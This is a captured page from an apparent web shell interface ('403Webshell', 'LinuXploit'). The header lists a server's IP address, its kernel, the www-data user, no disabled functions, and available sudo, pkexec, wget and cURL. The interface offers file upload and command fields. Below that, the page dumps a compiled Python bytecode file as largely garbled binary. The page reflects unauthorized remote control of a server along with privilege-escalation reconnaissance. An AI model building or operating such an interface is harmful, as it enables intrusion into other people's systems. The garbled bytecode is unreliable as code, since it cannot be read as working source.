403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/beniget/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/beniget/__pycache__/beniget.cpython-310.pyc
o

��a���	@snddlmZmZddlmZddlZddlZGdd�de�Z	Gdd�dej
�ZGdd	�d	e�ZiZ
ejjd
kr:eZnddlZejZdd�e��D�Z
ee
d
<e�e�ZZGdd�dej
�ZGdd�dej
�ZGdd�de�Zedkr�ddlZGdd�dej
�Zejdd�p�dZeD])Zer�e e�nej!�Z"e�#e"�$��Z%eee%�Wd�n1s�wYq�dSdS)�)�defaultdict�OrderedDict)�contextmanagerNc@sFeZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dS)�ordered_setNcCst�|pg�|_dS�N)r�fromkeys�values)�self�elements�r�1/usr/lib/python3/dist-packages/beniget/beniget.py�__init__	szordered_set.__init__cCsd|j|<dSr�r�r	�valuerrr�add�zordered_set.addcCs|j�dd�|D��dS)Ncss�|]}|dfVqdSrr)�.0�krrr�	<genexpr>��z%ordered_set.update.<locals>.<genexpr>)r�update)r	rrrrrszordered_set.updatecCst|j���Sr)�iterr�keys�r	rrr�__iter__rzordered_set.__iter__cCs
||jvSrrrrrr�__contains__�
zordered_set.__contains__cCs|j��}|�|j�|Sr)r�copyr)r	�other�outrrr�__add__s
zordered_set.__add__cCs
t|j�Sr)�lenrrrrr�__len__rzordered_set.__len__r)
�__name__�
__module__�__qualname__r
rrrrr!r#rrrrrs
rcsPeZdZdZdd�Z�fdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
�ZS)�	Ancestorsa0
    Build the ancestor tree, that associates a node to the list of node visited
    from the root node (the Module) to the current node

    >>> import gast as ast
    >>> code = 'def foo(x): return x + 1'
    >>> module = ast.parse(code)

    >>> from beniget import Ancestors
    >>> ancestors = Ancestors()
    >>> ancestors.visit(module)

    >>> binop = module.body[0].body[0].value
    >>> for n in ancestors.parents(binop):
    ...    print(type(n))
    <class 'gast.gast.Module'>
    <class 'gast.gast.FunctionDef'>
    <class 'gast.gast.Return'>
    cCst�|_t�|_dSr)�dict�_parents�list�_currentrrrrr
6szAncestors.__init__cs:t|j�|j|<|j�|�tt|��|�|j��dSr)r*r+r)�append�superr'�
generic_visit�pop�r	�node��	__class__rrr.:szAncestors.generic_visitcCs|j|dS�N����r)r0rrr�parent@rzAncestors.parentcCs
|j|Srr6r0rrr�parentsCrzAncestors.parentscCs6t|j|�D]}t||�r|Sqtd�||���)Nz{} has no parent of type {})�reversedr)�
isinstance�
ValueError�format)r	r1�cls�nrrr�parentInstanceFs

�zAncestors.parentInstancecCs|�|tjtjf�Sr)r?�ast�FunctionDef�AsyncFunctionDefr0rrr�parentFunctionLs
�zAncestors.parentFunctioncCs|�|tj�Sr)r?r@�stmtr0rrr�
parentStmtPrzAncestors.parentStmt)r$r%r&�__doc__r
r.r7r8r?rCrE�
__classcell__rrr2rr'!sr'c@sTeZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�ZdS)�DefzE
    Model a definition, either named or unnamed, and its users.
    )r1�_userscCs||_t�|_dSr)r1rrIr0rrrr
[szDef.__init__cCst|t�sJ�|j�|�dSr)r:rHrIrr0rrr�add_user_szDef.add_usercCs�t|jtjtjtjf�r|jjSt|jtj�r|jjSt|jtj	�r2|jj�
dd�d}|jjp1|St|jt�r=|jdSt
|j�jS)zv
        If the node associated to this Def has a name, returns this name.
        Otherwise returns its type
        �.�r)r:r1r@�ClassDefrArB�name�Name�id�alias�split�asname�tuple�typer$)r	�baserrrrNcs
�
zDef.namecCs|jS)zL
        The list of ast entity that holds a reference to this node
        )rIrrrr�usersvsz	Def.userscC�
|�i�Sr)�_reprrrrr�__repr__|rzDef.__repr__csF|�vrd��|�St���|<d�|jd��fdd�|jD���S)N�(#{})�
{} -> ({})�, c3��|]
}|�����VqdSr)rYr�r�u��nodesrrr����zDef._repr.<locals>.<genexpr>)r<r"r1�joinrI�r	rbrrarrYs��z	Def._reprcCrXr)�_strrrrr�__str__�rzDef.__str__csH|�vrd��|�St���|<d�|��d��fdd�|jD���S)Nr[r\r]c3r^r)rfrr_rarrr�rczDef._str.<locals>.<genexpr>)r<r"rNrdrIrerrarrf�s��zDef._strN)
r$r%r&rF�	__slots__r
rJrNrWrZrYrgrfrrrrrHTs
rH�cCsi|]\}}||�qSrr�rr�vrrr�
<dictcomp>�srl�__file__c@seZdZdd�Zdd�ZdS)�CollectGlobalscCstt�|_dSr)rr*�Globalsrrrrr
�rzCollectGlobals.__init__cCs$|jD]}|j|�||f�qdSr)�namesror,�r	r1rNrrr�visit_Global�s
�zCollectGlobals.visit_GlobalN)r$r%r&r
rrrrrrrn�srnc@sHeZdZdZd�dd�Zd�dd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zedd��Z
edd��Zdd�Zdd�Zedd��Zdd�Zefd d!�ZeZd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Z e Z!d6d7�Z"d8d9�Z#d:d;�Z$e$Z%d<d=�Z&d>d?�Z'd@dA�Z(dBdC�Z)dDdE�Z*dFdG�Z+dHdI�Z,dJdK�Z-dLdM�Z.dNdO�Z/dPdQ�Z0dRdS�Z1efdTdU�Z2dVdW�Z3dXdY�Z4dZd[�Z5d\d]�Z6e6Z7d^d_�Z8e6Z9d`da�Z:dbdc�Z;e:Z<ddde�Z=dfdg�Z>e:Z?dhdi�Z@djdk�ZAdldm�ZBe:ZCdndo�ZDe:ZEdpdq�ZFdrds�ZGdtdu�ZHdvdw�ZIeIZJdxdy�ZKdzd{�ZLd|d}�ZMd~d�ZNd�d��ZOdS)��DefUseChainsa|
    Module visitor that gathers two kinds of informations:
        - locals: Dict[node, List[Def]], a mapping between a node and the list
          of variable defined in this node,
        - chains: Dict[node, Def], a mapping between nodes and their chains.

    >>> import gast as ast
    >>> module = ast.parse("from b import c, d; c()")
    >>> duc = DefUseChains()
    >>> duc.visit(module)
    >>> for head in duc.locals[module]:
    ...     print("{}: {}".format(head.name(), len(head.users())))
    c: 1
    d: 0
    >>> alias_def = duc.chains[module.body[0].names[0]]
    >>> print(alias_def)
    c -> (c -> (Call -> ()))
    NcCs^i|_tt�|_||_dd�t��D�|_g|_g|_	g|_
g|_g|_g|_
g|_d|_dS)zN
            - filename: str, included in error messages if specified
        cSsi|]	\}}|t|��qSr)rHrjrrrrl�sz)DefUseChains.__init__.<locals>.<dictcomp>rN)�chainsrr*�locals�filename�Builtins�items�	_builtins�_defered�_definitions�_promoted_locals�_undefs�_currenthead�_breaks�
_continues�deadcode)r	rvrrrr
�s

zDefUseChains.__init__TcsXt|tj�r |s dd�|j��D��t�fdd�|j|D��Stdd�|j|D��S)NcSsh|]}|�qSrr�r�drrr�	<setcomp>�sz0DefUseChains.dump_definitions.<locals>.<setcomp>c3s �|]}|�vr|��VqdSr�rNr���builtinsrrr�s�
��z0DefUseChains.dump_definitions.<locals>.<genexpr>cs��|]}|��VqdSrr�r�rrrr�r)r:r@�Moduleryr�sortedru)r	r1�ignore_builtinsrr�r�dump_definitions�s�zDefUseChains.dump_definitionscCs&g}|j|D]	}|�t|��q|Sr)rur,�str)r	r1rtr�rrr�dump_chains�szDefUseChains.dump_chainscCsPt|d�rd�|jdurdn|j�}d�||j|j�}nd}td�||��dS)N�linenoz{}:z	<unknown>z at {}{}:{}�zW: unbound identifier '{}'{})�hasattrr<rvr��
col_offset�print)r	rNr1rv�locationrrr�unbound_identifier�s
��zDefUseChains.unbound_identifiercCs(t|j�D]}||vr||SqgSr)r9r{)r	rNr�rrr�lookup_identifiers
�zDefUseChains.lookup_identifiercCs�|j}g}t|j�D]#}||vr"|s||S|t||�Sd|vr-|�|d�q
|j�|t|��}|jrF|jd|�	||f�|rM||gS|jsV|�
||�|gS)N�*r5)rPr9r{r*�extendrt�
setdefaultrHr}r,r�)r	r1rN�starsr�rrr�defss $�
zDefUseChains.defscCs^d}|D]}t|tjtjtjf�r|sd}|jd7_|�|�q|r-|jd8_dSdS)NFTrL)r:r@�Break�Continue�Raiser��visit)r	�stmtsr�rDrrr�process_bodys�zDefUseChains.process_bodycCs�|jd��D]9\}}||jdvr0|jd|D]}|D]\}}|��D]}|�|�q%qqq|D]
\}}|s?|�||j�q2q|j��dSr4)r}rxr{rWrJr�r1r/)r	�
undef_namer}�newdef�undef�_�userr�rrr�process_undefs(s�����zDefUseChains.process_undefsccsT�|j�|�|j�tt��|j�t��dV|j��|j��|j��dSr)r~r,r{rrr|�setr/r0rrr�DefinitionContext5s�

zDefUseChains.DefinitionContextccsp�tjjdkr|j�|�|j�tt��|j�t	��dVtjjdkr6|j�
�|j�
�|j�
�dSdS)N�)�sys�version_info�majorr~r,r{rrr|r�r/r0rrr�CompDefinitionContext?s�

�z"DefUseChains.CompDefinitionContextcCs�||_|�|���|jd�dd�|j��D��|j�g�|�|j	�t
�}|�|�|j�
�D]$}|D]\}}||jdvrUt||f�}|�||�|j|�|�q6q2|jdD]\}}t|d�t|�j��}	|j|}
|_|	|td�|
|_q\|j��	t�}|j|D]}|��}||jvr�|�|�||jdvs�J||jf��q�t|jd�}
t|j�}t|�}tdd	�|j|D��}|
|||ks�J�Wd�n1s�wY|jr�J�|jr�J�dS)
Nr5cSsi|]
\}}|t|f��qSr)rrjrrrrlQsz-DefUseChains.visit_Module.<locals>.<dictcomp>zvisit_{})�stepTrcSsh|]}|���qSrr�r�rrrr�v�z,DefUseChains.visit_Module.<locals>.<setcomp>)�moduler�r{rryrxrzr,r��bodyrnr�rorrH�set_definitionru�getattrr<rUr$�DefinitionStepr/r�rNrr1r")r	r1�cgrbr>rN�dnode�fnode�ctx�visitorr��overloaded_builtinsr��nb_defs�nb_bltns�nb_overloaded_bltns�nb_headsrrr�visit_ModuleLsP
�
���



�
+zDefUseChains.visit_ModulecCsB|jrdSt|t�rt|f�|jd|<dSt|�|jd|<dSr4)r�r:rHrr{�r	rN�dnode_or_dnodesrrrr�|s

zDefUseChains.set_definitioncCs.t|t�r||�|�dS||�|�dSr)r:rHrr)�
definitionrNr�rrr�add_to_definition�s
zDefUseChains.add_to_definitioncCs"|jrdSt�|jd||�dSr4)r�rsr�r{r�rrr�extend_definition�s
�zDefUseChains.extend_definitioncCs:|turi|j�|t|��}|�|j|�|j|jd�|�t	d|j
j�D]
}|�|��
|�q&|j
jD]
}|�|��
|�q5|jD]}|�|�qCt|j�}t|jdtj�r]|��|jd�||f�dS|tur�|jrv|�|j�|�|��|�|j
�|�|j�Wd�dS1s�wYdSt��r4)�DeclarationSteprtr�rHr�rNrur~r,�filter�args�kw_defaultsr�rJ�defaults�decorator_listr*r{r:r@rMr/rzr��returnsr�r�r��NotImplementedError)r	r1r�r��
kw_default�default�	decorator�definitionsrrr�visit_FunctionDef�s,

"�zDefUseChains.visit_FunctionDefcCs�|j�|t|��}|j|jd�|�|�|j|�|jD]
}|�	|��
|�q|jD]}|�	|j��
|�q,|j
D]
}|�	|��
|�q;|�|��|�dtd��|�|j�Wd�dS1sewYdS)Nr5r3)rtr�rHrur~r,r�rN�basesr�rJ�keywordsrr�r�r�r�)r	r1r�rV�keywordr�rrr�visit_ClassDef�s


"�zDefUseChains.visit_ClassDefcCs|jr|�|j�dSdSr)rr�r0rrr�visit_Return�s�zDefUseChains.visit_ReturncC�>|jd��D]\}}t�|jd||�q|jd��dSr4)r{rxrsr�r�clear�r	r�rrkrrr�visit_Break��zDefUseChains.visit_BreakcCr�r4)r{rxrsr�r�r�r�rrr�visit_Continue�r�zDefUseChains.visit_ContinuecCs|jD]}|�|�qdSr)�targetsr��r	r1�targetrrr�visit_Delete�s
�zDefUseChains.visit_DeletecCs&|�|j�|jD]}|�|�q	dSr)r�rr�r�rrr�visit_Assign�s
�zDefUseChains.visit_AssigncCsL|jr	|�|j�}|�|j�}|�|j�}|�|�|jr$|�|�dSdSr)rr��
annotationr�rJ)r	r1�dvalue�dannotation�dtargetrrr�visit_AnnAssign�s
�zDefUseChains.visit_AnnAssigncCs�|�|j�}t|jtj�r`|jjt��}|j_|�|j�}|�|�||j_|jj	|j
dvr:|�|jj	|�dSdd�|�|j�D�}|�
|jj	|�d|vr^|j|jd�|�dSdS|�|j��|�dS)Nr5cSsg|]}|���qSrr�r�rrr�
<listcomp>�r�z0DefUseChains.visit_AugAssign.<locals>.<listcomp>r�)r�rr:r�r@rOr��LoadrJrPr|r�r�r�rur~r,)r	r1r�r�r��loaded_fromrrr�visit_AugAssign�s
�zDefUseChains.visit_AugAssigncCs,|jr	|�|j�|jD]}|�|�qdSr)�destr�r)r	r1rrrr�visit_Print�s

�zDefUseChains.visit_PrintcCs�|�|j�|j�tt��|j�tt��|j�tt��|j	�|j	d�
��|�|j�|�|j
�|��|j��}|��D]
\}}|�||�qB|j�tt��|�|j�|�|j
�|j	�tt��|�|j�|j	��}|j��}|j��}|j	��}|��D]
\}}|�||�q�|��D]
\}}|�||�q�|��D]
\}}|�||�q�|��D]
\}}|�||�q�dSr4)r�rrr,rrr�r}r*r{rr�r�r�r�r/rxr��orelse)r	r1�
continue_defsr�r`�orelse_defs�
break_defs�	body_defsrrr�	visit_For�s:




�zDefUseChains.visit_ForcCs�|j�|jd���|j�tt��|j�tt��|j�tt��|�	|j
�|j��|j�|jd���|�|j
�|�	|j�|��|j��}|��D]
\}}|�||�qR|j�tt��|�|j
�|�	|j�|�|j
�|j�|jd���|�	|j
�|j��}|j��}|j��}|j��}|��D]
\}}|�||�q�|��D]
\}}|�||�q�|��D]
\}}|�||�q�|��D]
\}}|�||�q�dSr4)r{r,rr}rr*rrr�r�r�r/r��testr�r�rxr�)r	r1r�r�r`r�r�r�rrr�visit_While$s@





�zDefUseChains.visit_WhilecCs�|�|j�|j�|jd���|�|j�|j��}|j�|jd���|�|j�|j��}|D]}||vrG|�	|||||�q4|�
|||�q4|D]}||vrYqR|�
|||�qRdSr4)r�r�r{r,rr�r�r/r�r�r�)r	r1r�r�r�rrr�visit_IfVs 

�zDefUseChains.visit_IfcCs&|jD]}|�|�q|�|j�dSr)rxr�r�r�)r	r1�withitemrrr�
visit_Withms
zDefUseChains.visit_WithcCs,|jr	|�|j�|jr|�|j�dSdSr)�excr��causer0rrr�visit_Raisets
�zDefUseChains.visit_RaisecCs�|j�|jd���|�|j�|�|j�|j��}|D]
}|�|||�q|jD]!}|j�t	t
��|�|�|j��}|D]
}|�|||�qBq,|�|j�dSr4)
r{r,rr�r�r�r/r��handlersrrr��	finalbody)r	r1�
failsafe_defsr��
excepthandler�handler_def�hdrrr�	visit_Tryzs



�zDefUseChains.visit_TrycCs&|�|j�|jr|�|j�dSdSr)r�r��msgr0rrr�visit_Assert�s�zDefUseChains.visit_AssertcCs\|jD](}|j�|t|��}|j�dd�d}|�|jp||�|j|j	d�
|�qdS)NrKrLrr5)rprtr�rHrNrRr�rSrur~r,)r	r1rQ�daliasrVrrr�visit_Import�s
�zDefUseChains.visit_ImportcCsL|jD] }|j�|t|��}|�|jp|j|�|j|jd�	|�qdSr4)
rprtr�rHr�rSrNrur~r,)r	r1rQrrrr�visit_ImportFrom�s

�zDefUseChains.visit_ImportFromcCs�|j�|t|��}|�|j�|jr|�|j�n|jd��D]}|D]}|�|�q$q |j	r7|�|j	�n+t
�}t|jdd��D]}|��D]\}}||vr`|�
|�|D]}|�|�qXqIqC|�d|�dS)NrrLr�)rtr�rHr�r��globalsr{rrJrur�r9rxrr�)r	r1r�r�r��visible_localsr{�dnamerrr�
visit_Exec�s(�
��zDefUseChains.visit_ExeccCs |jD]
}|jd�|�qdSr4)rpr|rrqrrrrr�s
�zDefUseChains.visit_GlobalcCsP|jD]"}t|jdd��D]}||vrq|�|||�n|�||�qdSr4)rpr9r{r�r�)r	r1rNr�rrr�visit_Nonlocal�s
��zDefUseChains.visit_NonlocalcCs|�|�dSr)r.r0rrr�
visit_Expr�rzDefUseChains.visit_ExprcC�2|j�|t|��}|jD]
}|�|��|�q|Sr�rtr�rHrr�rJ�r	r1r�rrrr�visit_BoolOp��
zDefUseChains.visit_BoolOpcC�:|j�|t|��}|�|j��|�|�|j��|�|Sr)rtr�rHr��leftrJ�right�r	r1r�rrr�visit_BinOp��zDefUseChains.visit_BinOpcC�(|j�|t|��}|�|j��|�|Sr)rtr�rHr��operandrJrrrr�
visit_UnaryOp��zDefUseChains.visit_UnaryOpcCs�|tur|j�|t|��}|jd�|t|j�f�|S|turL|j|}|�	|��|�
|j�|�
|j��
|�Wd�|S1sEwY|St��r4)r�rtr�rHrzr,r*r{r�r�r�r�r�rJr�)r	r1r�r�rrr�visit_Lambda�s

��zDefUseChains.visit_LambdacCsL|j�|t|��}|�|j��|�|�|j��|�|�|j��|�|Sr)rtr�rHr�r�rJr�r�rrrr�visit_IfExp�s
zDefUseChains.visit_IfExpcCsT|j�|t|��}td|j�D]
}|�|��|�q|jD]
}|�|��|�q|Sr)rtr�rHr�rr�rJr)r	r1r��keyrrrr�
visit_Dict�s
zDefUseChains.visit_DictcCrr)rtr�rH�eltsr�rJ�r	r1r��eltrrr�	visit_Set�rzDefUseChains.visit_SetcCsp|j�|t|��}|�|�� |jD]
}|�|��|�q|�|j��|�Wd�|S1s1wY|Sr)rtr�rHr��
generatorsr�rJr#�r	r1r��
comprehensionrrr�visit_ListComps

��zDefUseChains.visit_ListCompcCs�|j�|t|��}|�|��)|jD]
}|�|��|�q|�|j��|�|�|j��|�Wd�|S1s:wY|Sr)	rtr�rHr�r%r�rJrrr&rrr�visit_DictComp
s

��zDefUseChains.visit_DictCompcCrr)rtr�rHr�rrJrrrr�visit_AwaitrzDefUseChains.visit_AwaitcCs.|j�|t|��}|jr|�|j��|�|Sr)rtr�rHrr�rJrrrr�visit_YieldszDefUseChains.visit_YieldcCsD|j�|t|��}|�|j��|�|jD]
}|�|��|�q|Sr)rtr�rHr�rrJ�comparators)r	r1r��exprrrr�
visit_Compare's

zDefUseChains.visit_ComparecCsb|j�|t|��}|�|j��|�|jD]
}|�|��|�q|jD]}|�|j��|�q#|Sr)	rtr�rHr��funcrJr�r�r)r	r1r��arg�kwrrr�
visit_Call.s

zDefUseChains.visit_CallcCs|j�|t|��}|Sr)rtr�rHrrrr�visit_Constant9szDefUseChains.visit_ConstantcCs@|j�|t|��}|�|j��|�|jr|�|j��|�|Sr)rtr�rHr�rrJ�format_specrrrr�visit_FormattedValue=s
z!DefUseChains.visit_FormattedValuecCrrrrrrr�visit_JoinedStrDrzDefUseChains.visit_JoinedStrcCrr)rtr�rHr�rrJ�slicerrrr�visit_SubscriptLrzDefUseChains.visit_SubscriptcCs4|j�|t|��}|�|j��|�|�|j�|Sr)rtr�rHr�rrJr�rrrr�visit_NamedExprTszDefUseChains.visit_NamedExprcCs"t|jtjtjf�r]|j�|t|��}|j|j	dvr4|�
|j|�||j|jvr3|j|j�
|�n|�|j|�||j|jdvrP|j|jd�
|�|jdur[|�|j�|St|jtjtjf�r�||jv}|rt|j|}nt|�}|�|�D]}|�|�q}|s�||j|<|St��r4)r:r�r@�Param�Storertr�rHrPr|r�rur�r,r�r~r�r�r��Delr�rJr�)r	r1r��node_in_chainsr�rrr�
visit_NameZs0�
�

�zDefUseChains.visit_NamecCs�|j�|t|��}t��}|jD]6}t|tj�r,|j|}|_|�	|�|j|}|_qt|tj
�r8|�	|�qt|tjtjf�rF|�
|�q|Sr)rtr�rHr@r;r!r:rOr�r��	Subscript�List�Tuple�visit_Destructured)r	r1r��	tmp_storer#rrrrBys


�zDefUseChains.visit_DestructuredcCs\t|jtj�r |j�|t|��}|jD]
}|�|��	|�q|St|jtj
�r,|�|�SdSr)r:r�r@r�rtr�rHr!r�rJr;rBr"rrr�
visit_List�s

�zDefUseChains.visit_ListcCs^|j�|t|��}|jr|�|j��|�|jr!|�|j��|�|jr-|�|j��|�|Sr)rtr�rH�lowerr�rJ�upperr�rrrr�visit_Slice�szDefUseChains.visit_SlicecCsP|j�|t|��}|�|j��|�|�|j�|jD]
}|�|��|�q|Sr)rtr�rHr�rrJr��ifs)r	r1r��if_rrr�visit_comprehension�s
z DefUseChains.visit_comprehensioncCsR|j�|t|��}|jr|�|j��|�|jr!|�|j��|�|�|j�|Sr)	rtr�rHrUr�rJrNr�r�rrrr�visit_excepthandler�sz DefUseChains.visit_excepthandlercCsn|jD]}|�|�q|jD]}|�|�q|jr|�|j�|jD]}|�|�q"|jr5|�|j�dSdSr)r�r��posonlyargs�vararg�
kwonlyargs�kwarg)r	r1r0rrr�visit_arguments�s


�zDefUseChains.visit_argumentscCs:|j�|t|��}|�|j��|�|jr|�|j�|Sr)rtr�rHr��context_exprrJ�
optional_varsrrrr�visit_withitem�s
zDefUseChains.visit_withitemr)T)Pr$r%r&rFr
r�r�r�r�r�r�r�rr�r�r�r��staticmethodr�r�r�r��visit_AsyncFunctionDefr�r�r�r�r�r�r�r�r�r��visit_AsyncForr�r�r��visit_AsyncWithr�rrrrrrrrr
rrrrrr r$r(�
visit_SetCompr)�visit_GeneratorExpr*r+�visit_YieldFromr.r2�
visit_Reprr3r5r6�visit_Attributer8�
visit_Starredr9r>rBrD�visit_TuplerGrJrKrPrSrrrrrs�s�

$
	
0
	+2
		rsc@s eZdZdZdd�Zdd�ZdS)�UseDefChainsz�
    DefUseChains adaptor that builds a mapping between each user
    and the Def that defines this user:
        - chains: Dict[node, List[Def]], a mapping between nodes and the Defs
          that define it.
    cCs�i|_|j��D]#}t|jtj�r|j�|jg�|��D]
}|j�|jg��|�qq|j	��D]}|��D]
}|j�|jg��|�q7q1dSr)
rtrr:r1r@rOr�rWr,ry)r	�defuses�chain�userrrr
�s���zUseDefChains.__init__c	Csng}|j��D]!\}}t|���}d�|d�tdd�|D����}|�||f�q|��d�dd�|D��S)Nz{} <- {{{}}}r]csr�rr�)rrbrrrr�rz'UseDefChains.__str__.<locals>.<genexpr>css�|]\}}|VqdSrr)rr�srrrr�r)	rtrxrHrNr<rdr�r,�sort)r	r r�uses�kname�kstrrrrrg�s�zUseDefChains.__str__N)r$r%r&rFr
rgrrrrr_�sr_�__main__cs6eZdZ�fdd�Zd
dd�Zdd�Zdd	�Z�ZS)�BenigetcsRtt|���|p
d|_t�|_|j�|�t|j�|_|j�|�|�|�dS)Nz<stdin>)	r-rir
rvr'�	ancestorsr�rsr`)r	rvr�r2rrr
�s
zBeniget.__init__rcCs�|jj|D]B}|��sH|��dkrqt|j|�rq|j}t|d�s-|j�|�}t|d�r"t|t	j
�r9|jdkr9qtd�
|��|j|j|j��qdS)Nr�r��
__future__z+W: '{}' is defined but not used at {}:{}:{})r`rurWrNr:r1r�rjr7r@�
ImportFromr�r�r<rvr�r�)r	r1�
skipped_types�	local_defr�rrr�check_unused�s.

�
����zBeniget.check_unusedcCs<|�|�|j�d�r
dS|j|tjtjtjtjfd�dS)Nz__init__.py)rm)	r.rv�endswithror@rArBrMrOr0rrrr�s

�
�zBeniget.visit_ModulecCs|�|�|�|�dSr)r.ror0rrrr�s
zBeniget.visit_FunctionDef)r)r$r%r&r
ror�r�rGrrr2rri�s


	rirLr)&�collectionsrr�
contextlibrr��gastr@�objectr�NodeVisitorr'rHrwr�r��__builtins__�BuiltinsSrcr��__dict__rxrmr�r�rnrsr_r$ri�argv�paths�path�open�stdinr��parse�readr�rrrr�<module>sH3C	  4���9

Youez - 2016 - github.com/yon3zu
LinuXploit